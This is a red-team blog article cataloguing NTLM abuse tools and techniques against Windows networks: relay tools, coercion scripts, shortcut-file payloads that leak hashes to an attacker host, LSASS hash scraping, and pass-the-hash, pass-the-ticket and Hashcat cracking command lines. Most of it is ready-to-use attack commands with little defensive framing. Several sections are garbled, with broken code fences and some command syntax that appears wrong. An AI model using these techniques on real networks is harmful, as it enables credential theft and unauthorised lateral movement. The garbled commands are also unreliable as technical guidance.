NTLM Abuse Methods

redteamrecipe.com/ntlm-abuse-methodsrtc0028

Reza Rashidi

NTLM (NT LAN Manager) is a suite of security protocols used by Microsoft Windows operating systems for authentication, integrity, and confidentiality of users. It has evolved over time, with various versions, and has been widely used in Windows environments for single sign-on (SSO) and network authentication.

[ionos.co.uk/digitalguide/server/know-how/nt..

Components of NTLM:

1. **Authentication Process:**
    - NTLM is primarily used for authentication purposes. When a user attempts to log in to a Windows machine, NTLM is one of the authentication protocols that may be employed.
    - The process involves the exchange of challenge-response messages to verify the identity of the user.
2. **Challenge-Response Mechanism:**
    - NTLM uses a challenge-response mechanism to authenticate users. The server issues a challenge to the client, and the client responds with a hash of the user's password.
    - The server compares the received response with the expected one to verify the user's identity.

3. **Hash-based Authentication:**

    Instead of sending passwords over the network, NTLM relies on the hash of the user's password. This adds a layer of security by avoiding the transmission of plaintext passwords.

4. **Versions:**

    There are different versions of NTLM, including NTLMv1 and NTLMv2. NTLMv2 is more secure and includes enhancements to address vulnerabilities found in NTLMv1.

NTLM Security Attacks Mindmap

```
         +---------------------+
         |     NTLM Attacks     |
         +---------------------+
                   |
                   v

+-----------------------+       +-----------------------+
|   Pass-the-Hash (PtH) |       |    Pass-the-Ticket    |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Credential Sniffing   |       | Kerberos Ticket Sniff  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Credential Stuffing   |       | Ticket Renewal Attack |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Brute-Force Attacks   |       | Ticket Granting       |
+-----------------------+       | Ticket (TGT) Attacks  |
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Relay Attacks         |       | Golden Ticket Attack  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| SMB Relay             |       | Silver Ticket Attack  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| HTTP Relay            |       | Overpass-the-Hash     |
+-----------------------+       +-----------------------+
```

NTLMssp-Extract:

- **ID:** sinnaj-r / NTLMssp-Extract
- **Title:** NTLMssp-Extract
- **Attacks:**

  Extraction of NetNTLMv2 Hashes from NTMLssp-HTTP-Authentications
- **Commands and Codes:**
  - **Installation:**
    - Clone the repository.
    - Run the `ntlmssp_extract.py` file.
    - Requires `pyshark` (https://github.com/KimiNewt/pyshark) and Python 3.
  - **Usage:**
    - Execute the Python file.
    - Choose output format: 0 for (cuda/ocl)Hashcat or 1 for JohnTheRipper.
    - Enter the full path of your capture file.
    - Optionally, remove non-related packages from the capture to speed up extraction.

ntlmRelayToEWS:

- **ID:** ntlmRelayToEWS
- **Title:** ntlmRelayToEWS
- **Author:** Arno0x0x - @Arno0x0x
- **Attacks:**
  - NTLM relay attacks on Exchange Web Services (EWS)
  - Spawn SMBListener on port 445 and an HTTPListener on port 80
  - Relay NTLM negotiation to the target EWS server

- **Limitations and Improvements:**
  - Tested against Exchange Server 2010 SP2, may work on Exchange 2016.
  - SOAP request templates designed for Exchange 2010 SP2.
  - SOAP request templates can be adapted for newer versions using Microsoft EWS Managed API in trace mode.
- **Prerequisites:**
  - Requires a proper/clean install of Impacket.
  - Follow Impacket instructions to set up.
- **Usage:**
  - Implement attacks on behalf of the relayed user (victim).
  - Refer to the help for additional info: `./ntlmRelayToEWS -h`.
  - Use `--verbose` or `-v` flag for more debug information.
- **Attacks Implemented:**
  - **sendMail:**

    Send an HTML formed e-mail to a list of destinations.
  - **getFolder:**

    Retrieve all items from a predefined folder (inbox, sent items, calendar, tasks).
  - **forwardRule:**

    Create an evil forwarding rule that forwards all incoming messages for the victim to another email address.
  - **setHomePage:**

    Define a folder home page (usually for the Inbox folder) by specifying a URL.
  - **addDelegate:**

    Set a delegate address on the victim's primary mailbox.

- **How to Get Victim Credentials:**

  Use well-known methods to induce the victim to send credentials to ntlmRelayToEWS:

  - Send an email with a hidden picture pointing to the ntlmRelayToEWS server.
  - Create a link file with an icon pointing to ntlmRelayToEWS using a UNC path.
  - Perform LLMNR, NBNS, or WPAD poisoning to capture SMB or HTTP traffic from the victim.

ntlmthief:

- **ID:** ntlmthief - **Title:** NTLMThief - **Repository:**NTLMThief - **Attacks:** - Extracts NetNTLMv1/v2 hashes from network traffic - Can target protocols like HTTP, SMB, LDAP, IMAP, etc. - **Commands and Codes:** - Refer to the official documentation in the repository for usage and examples.

1. **Word-Thief:**
   - **ID:** Word-Thief
   - **Title:** Word-Thief
   - **Repository:**Word-Thief
   - **Attacks:**
     - Specific attacks related to Microsoft Word documents.
     - May involve phishing, document-based attacks, or other techniques to extract NTLM hashes.
   - **Commands and Codes:**

     Refer to the official documentation in the repository for usage and examples.

2. **PowerPoint-Thief:**
    - **ID:** PowerPoint-Thief
    - **Title:** PowerPoint-Thief
    - **Repository:**PowerPoint-Thief
    - **Attacks:**
        - Specific attacks related to Microsoft PowerPoint documents.
        - Similar to Word-Thief, may involve exploiting PowerPoint files for NTLM hash extraction.
    - **Commands and Codes:**

        Refer to the official documentation in the repository for usage and examples.
3. **Excel-Thief:**
    - **ID:** Excel-Thief
    - **Title:** Excel-Thief
    - **Repository:**Excel-Thief
    - **Attacks:**
        - Specific attacks related to Microsoft Excel documents.
        - Focus on extracting NTLM hashes through Excel-based techniques.
    - **Commands and Codes:**

        Refer to the official documentation in the repository for usage and examples.

4. **Adobe pdf-Thief:**
    - **ID:** Adobe pdf-Thief
    - **Title:** Adobe PDF-Thief
    - **Repository:**Adobe pdf-Thief
    - **Attacks:**
        - Specific attacks related to Adobe PDF documents.
        - Exploiting PDF files to extract NTLM hashes.
    - **Commands and Codes:**

        Refer to the official documentation in the repository for usage and examples.

NTLMParse:

- **ID:** NTLMParse
- **Title:** NTLMParse
- **Overview:**
    - Utility for decoding base64-encoded NTLM messages.
    - Provides information about the underlying properties and fields within the message.

- **Usage:**
  - Pass a Base64 encoded message to the application for decoding.
  - Example:

    ```
    ➜ ~ pbpaste | NTLMParse (ntlm.AUTHENTICATE_MESSAGE) { Signature:
    ([]uint8) (len=8 cap=585) { 00000000 4e 54 4c 4d 53 53 50 00
    |NTLMSSP.| }, MessageType: (uint32) 3, LmChallengeResponseFields:
    (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen
    uint16; LmChallengeResponseBufferOffset uint32;
    LmChallengeResponse []uint8 }) { LmChallengeResponseLen: (uint16)
    24, LmChallengeResponseMaxLen: (uint16) 24,
    LmChallengeResponseBufferOffset: (uint32) 160,
    LmChallengeResponse: ([]uint8) (len=24 cap=425) { 00000000 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
    00000010 00 00 00 00 00 00 00 00 |........| } },
    NtChallengeResponseFields: (struct { NtChallengeResponseLen
    uint16; NtChallengeResponseMaxLen uint16;
    NtChallengeResponseBufferOffset uint32; NtChallengeResponse
    []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) {
    NtChallengeResponseLen: (uint16) 384, NtChallengeResponseMaxLen:
    (uint16) 384, NtChallengeResponseBufferOffset: (uint32) 184,
    NtChallengeResponse: ([]uint8) (len=384 cap=401) { 00000000 30 eb
    30 1f ab 4f 37 4d 79 59 28 73 38 51 19 3b |0.0..O7MyY(s8Q.;|
    00000010 01 01 00 00 00 00 00 00 89 5f 6d 5c c8 72 d8 01
    |........._m\.r..| 00000020 c9 74 65 45 b9 dd f7 35 00 00 00 00 02
    00 0e 00 |.teE...5........| 00000030 43 00 4f 00 4e 00 54 00 4f 00
    53 00 4f 00 01 00 |C.O.N.T.O.S.O...| 00000040 1e 00 57 00 49 00 4e
    00 2d 00 46 00 43 00 47 00 |..W.I.N.-.F.C.G.| } }
    ```

  - **Sample Message for Testing:**

    TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4Agg
AAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBT
AE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAE
kARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhR
GTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQ
AeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBP
AC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAE
MATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8A
QwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAAAAABAAAAACAAABQaOH
b4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJ
AD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAH
QAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ=

1. **ADFSRelay:**
   - **ID:** ADFSRelay
   - **Title:** ADFSRelay
   - **Overview:**

     Proof of concept utility for researching NTLM relaying attacks targeting the ADFS service.
   - **Usage:**
     - Single required argument: URL of the ADFS server to target for an NTLM relaying attack.
     - Three optional arguments: `-debug` to enable debugging mode, `-port` to define the port the service should listen on (default is 8080), and `-targetSite` to specify the ADFS site to target for the relaying attack.
     - Example:

       ```
       ➜ ~ ADFSRelay -h Usage of ADFSRelay: -debug Enables debug
       output -help Show the help menu -port int The port the HTTP
       listener should listen on (default 8080) -targetSite string
       The ADFS site to target for the relaying attack (e.g.
       https://sts.contoso.com) ➜ ~
       ```
   - **References:**

     Praetorian Blog Post on ADFS Relaying Attacks

LNKUp:

- **ID:** LNKUp
- **Title:** LNKUp - LNK Data Exfiltration Payload Generator
- **Repository:** LNKUp
- **Overview:**
  - A tool for generating LNK payloads that, upon rendering or being run, exfiltrate data.
  - Designed specifically to target Windows.

- **Usage:**
    - **Payload Types:**
        - **NTLM:**
            - Steals the user's NTLM hash when rendered.
            - Requires a listener server, such as a Metasploit module server.
            - More on NTLM hashes leaking: NTLM Hashes - Microsoft's Ancient Design Flaw
            - Example usage:

              ```
              lnkup.py --host localhost --type ntlm --output out.lnk
              ```
        - **Environment:**
            - Steals the user's environment variables.
            - Examples: %PATH%, %USERNAME%, etc.
            - Requires variables to be set using `--vars`.
            - Example usage:

              ```
              lnkup.py --host localhost --type environment --vars PATH
              USERNAME JAVA_HOME --output out.lnk
              ```
    - **Extra Options:**

      Use `--execute` to specify a command to run when the shortcut is double-clicked.

      Example:

      ```
      lnkup.py --host localhost --type ntlm --output out.lnk -
      -execute "shutdown /s"
      ```
- **Installation:**

  Install requirements using:

  ```
  pip install -r requirements.txt
  ```

- **Known Gotchas:**
    - This tool will not work on OSX or Linux machines; it is specifically designed to target Windows.
    - Issues may arise with icon caching in some situations. Regenerate the payload if it doesn't execute after the first time.
    - A responder or Metasploit module server is needed to capture NTLM hashes.
    - To capture environment variables, run a webserver like Apache, Nginx, or any other.
- **Info:**
    - The tool creator is not responsible for any actions taken with this tool.
    - Contact the creator with any questions by opening an issue or via Twitter, @Plazmaz.

Lnkbomb:

- **ID:** Lnkbomb
- **Title:** Lnkbomb - Malicious Shortcut File Uploader
- **Repository:**Lnkbomb
- **Overview:**
    - Used for uploading malicious shortcut files to insecure file shares.
    - Exploits a vulnerability where Windows looks for an icon file associated with the shortcut file, directing it to a penetration tester's machine.
    - Gathers NTLMv1 or NTLMv2 hashes (depending on the victim host machine's configuration) for further exploitation.
    - Payload file is uploaded directly to the specified insecure file by the tester.
    - Version 2.0 uses the pysmb library, permitting unauthenticated and authenticated payload drops.

- **Python Usage:**

    - **Installation:**

        ```
        git clone https://github.com/dievus/lnkbomb.git cd lnkbomb python3 lnkbomb.py -h
        ```

    - **Command Line Flags:**

        - `-h`, `--help`: Lists the help options
        - `-t`, `--target`: Specifies the target IP address
        - `-a`, `--attacker`: Specifies the tester's attack machine IP address
        - `-r`, `--recover`: Used to remove the payload when testing is completed (e.g., `-r payloadname.url`)
        - `-w`, `--windows`: Required for setting appropriate ports for Windows shares (new command)
        - `-l`, `--linux`: Required for setting appropriate ports for Linux shares (new command)
        - `-n`, `--netbios`: NetBIOS name for targeted Windows machines must be included (new command)

    - **Examples:**

        ```
        python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows
        ```

        ```
        python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows -r dicnwdsebl.url
        ```

    - **Capture NTLM Hash:**

        Utilize a tool like Responder or smbserver to capture the NTLM hash.

        ```
        responder -I eth0 -dwFP -v
        ```

        or

        ```
        smbserver.py . . -smb2support
        ```

- **Notes:**
    - Meant for ethical hacking and penetration testing purposes only.
    - Condemns testing targets without permission.
    - The tool uses `.url` shortcuts, not `.lnk` extensions, as a deliberate choice.
    - Triggering you by using `.url` instead of `.lnk`.

DragonCastle:

- **ID:** DragonCastle
- **Title:** DragonCastle - AutodialDLL Lateral Movement Technique and SSP for NTLM Hash Scraping
- **Description:**
    - A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from the LSASS process.
    - Uploads a DLL to the target machine, enabling remote registry modification of AutodialDLL entry and starting/restarting BITS service.
    - Svchosts loads the DLL, sets AutodialDLL to the default value, and performs an RPC request to force LSASS to load the same DLL as a Security Support Provider.
    - Extracts NTLM hashes and the key/IV from the LSASS process memory.
    - DLLMain always returns False to prevent processes from keeping it.
- **Caveats:**
    - Works when RunAsPPL is not enabled.
    - Supports decrypting 3DES; easy to add code for AES.
    - Implemented for specific Windows versions (see the list in the provided information).

- **Usage:**

  `python3 dragoncastle.py -h`

  - **Command Line Flags:**
    - `-u`, `--username`: Valid username
    - `-p`, `--password`: Valid password (if omitted, it will be asked unless `-no-pass`)
    - `-d`, `--domain`: Valid domain name
    - `-hashes`: NT/LM hashes (LM hash can be empty)
    - `-no-pass`: Don't ask for the password (useful for `-k`)
    - `-k`: Use Kerberos authentication. Grabs credentials from ccache file based on target parameters.
    - `-dc-ip`: IP Address of the domain controller.
    - `-target-ip`: IP Address of the target machine.
    - `-local-dll`: DLL location (local) that will be planted on the target.
    - `-remote-dll`: Path used to update AutodialDLL registry value.
  - **Examples:**

    ```
    python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll
    ```

- **Author:** Juan Manuel Fernández (@TheXC3LL)
- **References:**
  - Operation Dragon Castling - APT Group Targeting Betting Companies
  - Beyond good ol' Run key: Part 24
  - Physical Graffiti: LSASS
  - Exploring Mimikatz Part 2

requests-ntlm:

- **ID:** requests-ntlm
- **Title:** HTTP NTLM Authentication for Requests Library

- **Description:**

  This package allows for HTTP NTLM authentication using the requests library.

- **Usage:**

  - `HttpNtlmAuth` extends `requests.AuthBase`, making usage simple:

    ```
    import requests from requests_ntlm import HttpNtlmAuth
    requests.get("http://ntlm_protected_site.com",
    auth=HttpNtlmAuth('domain\\username', 'password'))
    ```

  - `HttpNtlmAuth` can be used with a `Session` to make use of connection pooling for more efficiency.

    ```
    import requests from requests_ntlm import HttpNtlmAuth session =
    requests.Session() session.auth = HttpNtlmAuth('domain\\username',
    'password') session.get('http://ntlm_protected_site.com')
    ```

- **Installation:**

  ```
  pip install requests_ntlm
  ```

- **Requirements:**

  - `requests`
  - `pyspnego`

- **Authors:**

  - Ben Toews
  - Ian Cordasco
  - Cory Benfield

LDAP Relay Scan:

- **ID:** LDAP Relay Scan
- **Title:** Tool for Checking Domain Controllers for LDAP Server Protections
- **Description:**

  A tool to check Domain Controllers for LDAP server protections regarding the relay of NTLM authentication. It enumerates LDAP protections, including LDAPS channel binding and LDAP server signing requirements.

- **Installation:**

  It is recommended to use either Docker or a Python virtual environment.

  - **Docker:**

    1. Ensure Docker is installed on your machine.
    2. Clone the repository and change directory.

       ```
       git clone https://github.com/zyn3rgy/LdapRelayScan.git
       && cd LdapRelayScan
       ```

    3. Build the Docker container.

       ```
       docker build -f docker/Dockerfile -t ldaprelayscan .
       ```

    4. [Optionally] Ensure the script executes properly.

       ```
       docker run ldaprelayscan -h
       ```

  - **Python Virtual Environment:**

    1. Ensure Python virtualenv is installed on your machine.
    2. Clone the repository and change directory.

       ```
       git clone https://github.com/zyn3rgy/LdapRelayScan.git
       && cd LdapRelayScan
       ```

    3. Create a Python virtual environment for the project.

       ```
       virtualenv env
       ```

    4. Activate the Python virtual environment.

       ```
       source venv/bin/activate
       ```

    5. Install exact requirement version dependencies.

       ```
       python3 -m pip install -r requirements_exact.txt
       ```

    6. [Optionally] Ensure the script executes properly.

       ```
       python3 LdapRelayScan.py -h
       ```

- **Usage:**
    - The tool has two methods: LDAPS (the default) and BOTH.
        - LDAPS only requires a domain controller IP address and checks for channel binding (can be performed unauthenticated).
        - BOTH method requires a username and password or NT hash, checks for LDAP signing and LDAP channel binding (authentication required).
    - **Arguments:**
        - `-h, --help`: Show help message and exit.
        - `-method method`: LDAPS or BOTH - LDAPS checks for channel binding, BOTH checks for LDAP signing and LDAP channel binding [authentication required].
        - `-dc-ip DC_IP`: DNS Nameserver on the network. Any DC's IPv4 address should work.
        - `-u username`: Domain username value.
        - `-timeout timeout`: The timeout for MSLDAP client connection.
        - `-p password`: Domain username value.
        - `-nthash nthash`: NT hash of password.
    - **Examples:**
        - *Basic / Virtual Environment Usage Examples:*

          ```
          python3 LdapRelayScan.py -method LDAPS -dc-ip 10.0.0.20
          python3 LdapRelayScan.py -method BOTH -dc-ip 10.0.0.20 -u
          domainuser1 python3 LdapRelayScan.py -method BOTH -dc-ip
          10.0.0.20 -u domainuser1 -p badpassword2 python3
          LdapRelayScan.py -method BOTH -dc-ip 10.0.0.20 -u domainuser1
          -nthash e6ee750a1feb2c7ee50d46819a6e4d25
          ```

        - *Docker Usage Examples:*

          ```
          docker run ldaprelayscan -h docker run ldaprelayscan -dc-ip
          10.0.0.20 docker run ldaprelayscan -dc-ip 10.0.0.20 -method
          BOTH -u domainuser1 -p secretpass docker run -e
          PROXY_CONFIG='socks5 127.0.0.1 9050' --network=host
          ldaprelayscan -dc-ip 10.0.0.20 -method BOTH -u domainuser1 -p
          secretpass
          ```

- **Error-Based Enumeration Specifics:**
    - **[LDAPS] Channel Binding Token Requirements:**
        - On a patched Domain Controller, the capability to enforce LDAPS channel binding exists. This is determined from an unauthenticated perspective by analyzing errors during the LDAP bind process.
        - Decrypting and monitoring LDAP over SSL/TLS traffic allows identification of errors when channel binding is enforced versus when it's not. A specific error, data 80090346 (SEC_E_BAD_BINDINGS), indicates incorrect SSPI channel bindings.
        - The tool differentiates between different settings of the Domain Controller: LDAP server channel binding token requirements policy, such as "Never," "When supported," or "Always."
    - **"Never" vs "When supported" vs "Always":**

        The tool purposefully miscalculates channel binding information when the policy is set to "When supported," producing the same data 80090346 error.
    - **[LDAP] Server Signing Requirements:**
        - The Domain Controller: LDAP server signing requirements policy can be set to None, Require signing, or it may not be defined.
        - When not defined, it defaults to not requiring signing. The tool identifies the requirement when a simple bind attempt responds with a resultCode of 8, signifying strongerAuthRequired.
- **References:**

    Invaluable resources for contextualization and understanding of this tool and how it fits into common attack scenarios.

    Various individuals: @HackAndDo, @_nwodtuhs, @_dirkjan,

lsarelayx:

- **ID:** lsarelayx
- **Title:** System-wide NTLM Relay Tool

- **Description:**

  lsarelayx is a system-wide NTLM relay tool designed to relay incoming NTLM-based authentication to the host it is running on. It relays any incoming authentication request that includes SMB, HTTP/HTTPS, LDAP/LDAPS, or any other third-party application implementing the Windows authentication APIs.
- **Features:**
  - Relays NTLM connections system-wide, including SMB, HTTP/HTTPS, LDAP/LDAPS, or any other third-party application implementing the Windows authentication APIs.
  - Downgrades incoming Kerberos authentication requests to NTLM where possible, causing clients to fallback to NTLM.
  - Performs an LDAP query for the relayed user to fetch group membership info and creates the correct authentication token for the original request.
  - Dumps NetNTLM messages for offline cracking.
  - Supports a passive mode that does not relay but only dumps captured NetNTLM hashes (no Kerberos downgrade in this mode).
- **How it Works:**
  - lsarelayx consists of three parts: liblsarelayx.dll (fake LSA authentication provider), lsarelayx.exe (user-mode console application as the control interface), and a new ntlmrelayx server module called RAW.
  - **liblsarelayx.dll:**

    LSA authentication provider loaded by lsarelayx, hooking NTLM and Negotiate packages, redirecting authentication requests to lsarelayx over a local named pipe for relaying and dumping NetNTLM hashes.
  - **lsarelayx.exe:**

    Main console application loading the custom LSA authentication provider, listening for incoming NTLM and Negotiate tokens, relaying to ntlmrelayx's RAW server module, and performing LDAP queries for capturing group information.
  - **RAW ntlmrelayx Module:**

    A new ntlmrelayx server module called RAW accepts raw NTLM messages directly from lsarelayx.

- **Usage:**
  - **Active Mode:**
    - Start the ntlmrelayx RAW server module.

      ```
      python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
      ```

    - Start lsarelayx in active relay mode.

      ```
      lsarelayx.exe --host 192.168.1.1
      ```

  - **Passive Mode:**

    Run lsarelayx in passive mode.

    ```
    lsarelayx.exe
    ```

- **Caveats:**
  - liblsarelayx.dll cannot be unloaded once loaded into lsass.exe due to limitations of how LSA plugins work.
  - LSA plugin not being a genuine plugin might be implemented as a reflective loader inside the plugin in the future.
  - Development was performed on Windows 10 and Server 2016. Testing on other versions may require manual adjustments.
  - **!!WARNING!!:** liblsarelayx.dll will be loaded inside the critical lsass.exe process. Bugs may lead to crashing lsass.exe, resulting in a host reboot after 60s.

Coercer:

- **ID:** coercer
- **Title:** Windows Server Coercion Script
- **Description:**

  A Python script designed to automatically coerce a Windows server to authenticate on an arbitrary machine using various methods. It lists open SMB pipes, attempts to connect on known SMB pipes, and calls vulnerable RPC functions to coerce the server to authenticate on a specified machine.

- **Features:**
  - Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz authenticated).
  - Tries to connect to a list of known SMB pipes on the remote machine (in modes scan unauthenticated and fuzz unauthenticated).
  - Calls vulnerable RPC functions one by one to coerce the server to authenticate on an arbitrary machine.
  - Random UNC paths generation to avoid caching failed attempts (all modes).
  - Configurable delay between attempts with --delay.
- **Options:**
  - Filter by method name with --filter-method-name, by protocol name with --filter-protocol-name, or by pipe name with --filter-pipe-name (all modes).
  - Target a single machine with --target or a list of targets from a file with --targets-file.
  - Specify IP address OR interface to listen on for incoming authentications (modes scan and fuzz).
- **Exporting Results:**
  - Export results in SQLite format (modes scan and fuzz).
  - Export results in JSON format (modes scan and fuzz).
  - Export results in XSLX format (modes scan and fuzz).
- **Installation:**

  Install from PyPI using the command:

  ```
  sudo python3 -m pip install coercer
  ```

- **Quick Start:**
  - **Scan Mode:**
    - Assess the Remote Procedure Calls listening on a machine to see if they can be leveraged to coerce an authentication.
    - Example:

      `coercer --mode scan --target <target_machine>`
  - **Coerce Mode:**
    - Exploit the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder.
    - Example:

      `coercer --mode coerce --target <target_machine>`
  - **Fuzz Mode:**
    - Do research and fuzz Remote Procedure Calls listening on a machine with various paths.
    - Example:

      `coercer --mode fuzz --target <target_machine>`
- **Contributing:**

  Pull requests are welcome. Feel free to open an issue if you want to add other features.
- **Credits:**
  - @tifkin_ and @elad_shamir for finding and implementing PrinterBug on MS-RPRN.
  - @topotam77 for finding and implementing PetitPotam on MS-EFSR.
  - @topotam77 for finding and @_nwodtuhs for implementing ShadowCoerce on MS-FSRVP.
  - @filip_dragovic for finding and implementing DFSCoerce on MS-DFSNM.
  - @evilashz for finding and implementing CheeseOunce on MS-EVEN.

Pass-the-Hash (PtH)

Attacks Flow:

1. **Obtain Hash:** Capture or extract hashed credentials (NTLM or LM hash) from a compromised system.
2. **Pass the Hash:** Use the obtained hash to authenticate to other systems or services without needing the actual plaintext password.
3. **Lateral Movement:** Move laterally within the network, escalating privileges and accessing additional systems.

Commands and Codes:

Mimikatz: A powerful post-exploitation tool.

```
mimikatz.exe "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash>"
```

~~~
- **mpacket's psexec.py:** Execute commands on a remote system using a captured
hash.


    `psexec.py <target> -hashes :<hash>`

- **Pass-the-Hash Tools:** Various tools like Windows Credential Editor (WCE) or
Metasploit's PsExec module.


    `wce.exe -w`




# Pass-the-Ticket (PtT)

## Attacks Flow:
1. **Ticket Extraction:** Obtain a Kerberos Ticket Granting Ticket (TGT) or
Ticket-Granting Service (TGS) ticket from a compromised system.
2. **Pass the Ticket:** Use the obtained ticket to authenticate to other systems
or services without needing the user's plaintext credentials.
3. **Lateral Movement:** Move laterally within the network, escalating privileges
and accessing additional systems.

## Commands and Codes:
- **Mimikatz:** A powerful post-exploitation tool.

  ```bash
  mimikatz.exe "kerberos::ptt <base64_ticket>"
~~~

- **Impacket's psexec.py:** Execute commands on a remote system using a captured ticket.

  `psexec.py <target> -k -ticket <base64_ticket>`

- **KRBTTGT Abuse:** Abuse the Kerberos TGT for lateral movement.

  ```
  kirbikator krbtgt/<domain>@<domain> -t <base64_tgt>
  ```

Ticket Renewal Attack

ID: TRA-001

Title: Ticket Renewal Attack

Attacks Flow:

1. **Initial Ticket Acquisition:** Obtain a valid Kerberos Ticket-Granting Ticket (TGT) through legitimate authentication.

2. **Monitor Ticket Renewal:** Identify a user with a renewable TGT.

3. **Exploit Renewable Ticket:** Exploit the renewable TGT by renewing it multiple times to extend the time validity.

4. **Lateral Movement:** Use the extended ticket to access services and systems, potentially moving laterally within the network.

Commands and Codes:

TGT Renewal with KRB5_TGS_REP: Use the KRB5_TGS_REP request to renew the TGT.

```
kinit -R -c <ticket_cache_file>
```

~~~
**Mimikatz Ticket Renewal:** Utilize Mimikatz to renew Kerberos tickets.

`mimikatz.exe "kerberos::tgtrenew /user:<username> /service:<service>"`



# Overpass-the-Hash (OtH)

## ID: OtH-001


## Attacks Flow:
1. **Initial Credential Theft:** Acquire valid credentials through various means,
such as phishing, password spraying, or credential stuffing.
2. **Pass-the-Hash (PtH):** Use the obtained credentials to extract hash values
(e.g., NTLM or Kerberos) from the compromised system.
3. **Overpass-the-Hash:** Leverage the extracted hash values to access additional
systems or resources within the network without the need for plaintext
credentials.
4. **Lateral Movement:** Utilize the compromised credentials to move laterally
across the network, escalating privileges and accessing sensitive information.

## Commands and Codes:
- **Pass-the-Hash (PtH) with Mimikatz:** Use Mimikatz to perform PtH with the
extracted hash.
  ```bash
  mimikatz.exe "sekurlsa::pth /user:<username> /ntlm:<NTLM_hash> /domain:<domain>
/run:<command>"
~~~

- **Pass-the-Key (PtK) with Impacket:** Use Impacket's psexec module to perform PtH with NTLM hash.

  ```
  psexec.py <target_IP> -hashes :<NTLM_hash> -u <username> -p <password>
  ```

- **Overpass-the-Hash with CrackMapExec (CME):** Utilize CME for lateral movement using compromised credentials.

  ```
  cme smb <target_IP> -u <username> -p :<NTLM_hash>
  ```

HTTP Relay

Attacks Flow:

1. **Target Identification:** Identify a target web application that uses NTLM authentication for user access.

2. **NTLM Credential Harvesting:** Intercept NTLM authentication traffic between a client and the target web application.

3. **HTTP Relay:** Relay the intercepted NTLM authentication to a different server or application.

4. **Successful Authentication:** Achieve successful authentication on the target web application using relayed NTLM credentials.

Commands and Codes:

Responder for NTLM Relay: Use Responder to perform NTLM relay attacks.

```
responder -I <interface> -w -r -v
```

```

- **Ntlmrelayx for HTTP Relay:** Utilize ntlmrelayx from the Impacket toolkit to relay NTLM authentication.

  `ntlmrelayx.py -t <target_url> --no-http-server`

- **HTTPD-NTLM-Relay for Specific Applications:** Employ HTTPD-NTLM-Relay for specific application targets.

  `./httpd-ntlm-relay -u http://<target_url> -l <local_IP> -r <remote_IP>`

## Brute-Force Attacks with Hashcat

## Attacks Flow:

1. **Hash Identification:** Obtain target password hashes from a compromised system or a database dump.

2. **Hashcat Configuration:** Prepare Hashcat for brute-force attacks by selecting the appropriate hash mode and attack type.

3. **Wordlist Generation:** Create or select a wordlist that includes potential passwords for the target hashes.

4. **Brute-Force Execution:** Run Hashcat to systematically attempt password combinations against the target hashes.

5. **Password Recovery:** Identify successful password matches from Hashcat's output.

## Commands and Codes:
```

- **Hashcat Modes:**
  - MD5: `-m 0`
  - SHA-1: `-m 100`
  - SHA-256: `-m 1400`
  - NTLM: `-m 1000`
- **Brute-Force Attack:**
  - Straight (Incremental): `-a 3`
  - Combination: `-a 1`
  - Mask Attack: `-a 3 --increment -1 ?u?l?d`
- **Wordlist Attack:**

  Standard Wordlist: `hashcat -m 1000 -a 0 hashes.txt /path/to/wordlist.txt`
- **Incremental Brute-Force:**
  - Numeric Only: `hashcat -m 1000 -a 3 hashes.txt -1 ?d`
  - Alphanumeric: `hashcat -m 1000 -a 3 hashes.txt -1 ?l?d`
- **Mask Attack:**

  Specify Character Set: `hashcat -m 1000 -a 3 hashes.txt -1 ?l?d ?1?1?1?1`

Reference

- redteamrecipe.com
- redteamguides.com